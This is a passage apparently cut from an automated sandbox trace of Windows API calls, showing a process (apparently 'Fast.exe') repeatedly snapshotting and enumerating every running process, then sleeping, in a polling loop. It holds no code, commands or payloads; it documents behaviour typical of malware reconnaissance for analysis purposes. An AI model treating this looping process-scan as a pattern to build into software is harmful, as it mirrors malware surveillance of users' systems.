1 [0217.420] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.421] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0217.423] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0217.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.426] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.427] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0217.428] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0217.429] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0217.799] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.799] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0217.800] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0217.801] CloseHandle (hObject=0x1d0) returned 1 [0217.801] Sleep (dwMilliseconds=0x1f4) [0218.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0218.479] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.480] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.481] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.482] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.483] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.483] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.484] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.485] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.486] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.487] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.488] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.489] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.489] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.490] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.491] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.492] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.493] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.494] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.495] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.495] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.496] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.497] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0218.498] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.499] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.500] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0218.501] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0218.502] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0218.502] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0218.503] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0218.504] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0218.505] CloseHandle (hObject=0x1c8) returned 1 [0218.506] Sleep (dwMilliseconds=0x1f4) [0219.531] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0219.535] Process32FirstW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.536] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.537] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.538] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.539] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.540] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.541] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.542] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.542] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0219.544] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0219.545] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.546] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.547] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.548] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.548] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.549] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0219.550] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.551] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.552] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0219.553] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0219.554] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0219.555] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0219.556] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0219.557] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0219.558] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0219.559] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0219.560] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0219.561] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0219.562] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0219.563] Process32NextW (in: hSnapshot=0x164, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0219.564] CloseHandle (hObject=0x164) returned 1 [0219.564] Sleep (dwMilliseconds=0x1f4) [0220.311] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0220.315] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.317] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.318] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.319] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.320] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.321] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.322] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.323] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.324] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, 